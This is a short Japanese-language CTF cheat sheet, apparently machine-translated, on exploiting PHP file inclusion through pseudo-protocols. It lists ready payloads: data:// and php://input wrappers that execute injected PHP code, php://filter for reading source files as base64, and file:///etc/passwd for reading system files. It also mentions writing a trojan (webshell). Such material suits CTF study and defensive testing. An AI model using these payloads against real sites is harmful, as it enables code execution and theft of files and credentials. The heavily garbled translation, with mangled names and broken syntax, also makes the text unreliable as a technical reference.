ファイルインクルージョンの脆弱性は、擬似プロトコルの様々なを使用することができます
関数を含む0x01のファイル
:脆弱性が含まれているファイルが発生しますPHP関数などが、必要、のinclude_once、require_onceを、highlight_file、SHOW_SOURCE、ReadFile関数、のfile_get_contents、fopenを、ファイルを
PHP、データファイルとでダミーのコード実行プロトコルを読んで:
?1. ファイル =データ:text / plainで、<PHP?のphpinfo()?> #GETデータは 2?ファイル =データ:テキスト/平野; base64で、PD9waHAgcGhwaW5mbygpPz4 = #base64で文字の後ろに渡された文字列を必要としていますbase64エンコード 3?ファイル = PHP:// INPUT [POSTデータ:<?PHPのphpinfo()?> #POSTデータ 4.?ファイル = PHP:// フィルタ/読み取り= convert.base64エンコード/リソース= XXXソースコードを読み取る#get .PHP
0x02のPHPの擬似プロトコル
PHP://入力、PHP:// STDIN、php:// memoryおよびphp://一時allow_url_fopenをは開く必要があります
allow_wrl_fopenを開く必要ありません:PHP://フィルタ
多くの場合、CTFで使用PHPです://フィルタとPHP://入力
PHP:ソースを読み取る//フィルタ、PHP://行うための入力PHPコード
PHP://入力データを提出するための要求をポストする必要があります
PHP://フィルタが= PHPを提出得ることができます:?//filter/read=convert.base64-encode/resource=xxx.php
0x03のデータ擬似プロトコル
CTF共通:
?XXX =データ:// テキスト/平野; Base64で、のfile_get_contentsしたい()base64エンコーディング機能は、の値を返します。
?ファイル=データ:text / plainで、<?phpのののphpinfo()?>
0x04のファイルプロトコル
ファイル://ローカルファイルシステムへのアクセス
ファイル://ローカルファイルシステムへのアクセスのために、Cのような:ディスクの事。一般的にCTFでallow_url_fopenをしてはallow_url_includeの影響を受けないローカルファイルを、読み取ります。
ファイル:// [ファイルの絶対パスとファイル名]
Linuxシステム環境:?ファイル=ファイル:/// etc / passwdファイル
winowsシステム環境下では:?ファイル=ファイル:/// E:\ phpStudy \ WWW \コード\のphpinfo.php
擬似プロトコルの概要
ファイルシステムプロトコルは、ディスクの重要な要素C、ファイルを読み取るために使用されます。PHP://フィルタは、それ以外の場合にのみ実行結果を確認するために、ファイルを作成します、しかし、出てbase64でしようとした後、ファイルの内容を読み取るために使用されます。PHP://入力(コードが実行される)データPOSTリクエストは、PHPコードとして実行されてもよいです。トロイの木馬を書き込むために使用することができます。データ入力と同様に、あなたは実行をコーディングすることができますが、唯一のPHPで<5.3が書かれたときに=にトロイの木馬を含めることができます。
リファレンス接続します。https://blog.csdn.net/weixin_43272781/article/details/94645507
https://www.cnblogs.com/Oran9e/p/7795057.html